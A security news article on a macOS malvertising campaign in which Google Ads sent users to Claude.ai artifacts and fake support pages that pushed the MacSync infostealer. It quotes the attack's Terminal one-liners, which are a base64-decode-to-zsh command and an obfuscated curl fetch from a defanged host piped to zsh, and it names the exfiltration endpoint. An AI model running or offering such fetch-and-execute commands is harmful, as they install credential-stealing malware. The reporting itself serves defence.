Mac Malware via Google Ads: How Claude.ai Chats Push Infostealers
google adsclaude.aimacoshomebrewmacsync infostealermacpaw's moonlock labadguardcybersecuritymalwareinfostealerdeveloper toolssupply chain risk

Mac Malware via Google Ads: How Claude.ai Chats Push Infostealers

The ClickFix Attack: Why Your Google Search for Homebrew Just Stole Your Keys

You're a macOS user, you need to install Homebrew, or perhaps clear some disk space. So you search Google. That simple search could now lead to an infostealer, thanks to a new wave of Mac malware Google ads. The issue isn't just a shady website; it's the platforms we trust most: Google Ads and AI chat services like Claude.ai. This represents not a new macOS vulnerability, but rather an exploitation of established trust mechanisms, impacting even experienced developers.

Public discussions, including those on platforms like X, indicate significant frustration, with users questioning how 'verified' ads bypass security checks to deliver malware. This extends beyond typical phishing, representing a fundamental compromise of trusted information infrastructure.

How Mac Malware Google Ads Lead to a Stolen Keychain

Threat actors launched campaigns, herein referred to as "ClickFix" campaigns, which were analyzed by researchers at MacPaw's Moonlock Lab and AdGuard. They targeted macOS users searching for common developer queries like "HomeBrew," "brew macos," "brew install," or even utility searches such as "online DNS resolver" and "clear disk space on macOS." These campaigns effectively leveraged Google Ads to distribute Mac malware.

The initial vector involved Google Ads. These ads, despite linking to malicious payloads, presented as legitimate in search results—an incident highlighting a clear failure in Google's ad moderation. When a user clicked one of these ads, they weren't taken to a typical malware site. Instead, they landed on a public Claude.ai artifact or a fake Medium article impersonating Apple Support, all part of the broader Mac malware Google ads strategy.

Screenshot of a search results page showing a malicious Google Ad.
Screenshot of a search results page showing
<figcaption>Malicious Google Ad in search results, part of a Mac malware campaign.</figcaption>

The malicious Claude artifact alone garnered over 15,600 views, with AdGuard reporting an additional 12,300 views on related content. This indicates significant exposure to these deceptive Mac malware Google ads. Similar campaigns observed previously utilized ChatGPT and Grok to distribute the AMOS infostealer, confirming a persistent attack pattern involving AI chat platforms and malicious advertising.

The Attack Chain: From curl | bash to C2

Upon reaching the malicious page, users were prompted to execute a shell command in their Terminal. This exploits common practices within developer communities, specifically the routine acceptance of curl | bash as a standard, albeit risky, installation method for open-source tools. Attackers replicated this pattern precisely to deliver the Mac malware.

The commands looked something like this:

  • echo "..." | base64 -D | zsh
  • true && cur""l -SsLfk --compressed "https://raxelpak[.]com/curl/[hash]" | zsh

The base64 -D component decodes an embedded string, which zsh (or bash) then executes. The second variant employs an obfuscated curl command to directly retrieve a script. Both methods, as identified by MacPaw's Moonlock Lab and AdGuard, sourced their second-stage payload from a common Command and Control (C2) infrastructure, indicating a singular threat actor behind these Mac malware Google ads.

Execution of these commands retrieves a malware loader, referred to as MacSync infostealer. This loader initiates C2 communication using a hardcoded token and API key, employing a spoofed macOS browser user-agent for stealth. The C2 response is then piped to osascript, leveraging AppleScript to handle the actual data stealing.

The malware targets sensitive data, including macOS keychain entries, browser credentials and history, and cryptocurrency wallet files. This data is archived at /tmp/osalogging.zip before an attempted exfiltration to a2abotnet[.]com/gate via HTTP POST. The exfiltration mechanism is resilient: if the initial attempt fails, the archive is segmented, and retries are initiated up to eight times. Post-exfiltration, a cleanup routine removes all forensic traces, suggesting a sophisticated and well-planned operation to deploy Mac malware.

The Broader Impact: Supply Chain Risks

The practical impact is substantial. According to researchers, over 10,000 users accessed these malicious instructions, with two identified pages collectively receiving approximately 25,000 clicks. This translates to a significant number of potentially compromised systems due to these pervasive Mac malware Google ads.

The primary targets are macOS users, specifically developers, DevOps engineers, researchers, and power users. These individuals often have the most sensitive credentials on their machines: SSH keys, GitHub access tokens, cloud credentials, VPN configurations, API keys, and CI/CD secrets.

A silent machine compromise means an attacker can read configuration files, extract authentication tokens, and exfiltrate them to their C2 server. The implications extend beyond losing a Netflix password, pointing instead to potential downstream supply-chain attacks. An attacker gaining access to a developer's machine could inject malicious code into repositories, tamper with build processes, compromise release files, or publish backdoored packages. This enables lateral movement within corporate networks, thereby constituting a critical supply-chain risk, all initiated by deceptive Mac malware Google ads.

A developer working on a computer, symbolizing a compromised workstation.
Developer working on a computer, symbolizing a compromised
<figcaption>Developer's workstation compromised by Mac malware from a Google Ad.</figcaption>

The fundamental issue lies in the exploitation of established trust mechanisms. Google's ad platform, intended for content discovery, is actively directing users to malware. Similarly, platforms like Claude.ai, designed for user-generated content, are hosting malicious instructions on their primary domains, which inadvertently grants them an unwarranted sense of legitimacy. The subtle "user-generated content" disclaimers are frequently overlooked, particularly on mobile interfaces, making these Mac malware Google ads even more effective.

What We Need to Change

This campaign highlights systemic vulnerabilities within platform moderation and content hosting, extending beyond isolated exploits. The prevalence of Mac malware Google ads demands immediate attention.

Google's ad review process frequently struggles to detect malicious campaigns that impersonate trusted domains. The designation of these ads as "Google-verified publishers" further compounds the issue. Google's ad monetization model, while profitable, appears to create a blind spot for persistent malvertising. Addressing this necessitates a stricter, more proactive approach to ad moderation to prevent the spread of Mac malware via Google ads.

Anthropic (Claude), OpenAI (ChatGPT), and Grok need to implement more rigorous content vetting for material hosted on their primary domains. Allowing unverified user-generated content on claude.ai lends it undue authority. The response lag is also problematic; one malicious Claude page, as documented by researchers, remained active for 16 hours, accumulating approximately 21,000 visits before takedown. Other malicious artifacts persisted even longer. These platforms require faster, more effective content moderation mechanisms and unambiguous disclaimers prominently displayed to combat the use of their services for distributing Mac malware via Google ads.

The curl | bash installation pattern, while convenient, represents a direct execution of remote code and a significant security risk. For critical tools, a transition to more secure installation methods is imperative, such as package managers incorporating signature verification, or mandating explicit script review steps. This represents not merely a new attack, but an evolution stemming from long-standing deficiencies in software installation and trust practices, now exacerbated by Mac malware Google ads.

Addressing this requires more than patching a single vulnerability; it necessitates a fundamental re-evaluation of how we interact with the internet and its mediating platforms. Users, therefore, must maintain hyper-vigilance: refraining from executing Terminal commands without full comprehension, and consistently sourcing software from official channels. However, platforms retain a significant responsibility to prevent such abuse. The current operational security posture, if unaddressed, will continue to facilitate such attacks, including the proliferation of Mac malware Google ads.

Daniel Marsh
Daniel Marsh
Former SOC analyst turned security writer. Methodical and evidence-driven, breaks down breaches and vulnerabilities with clarity, not drama.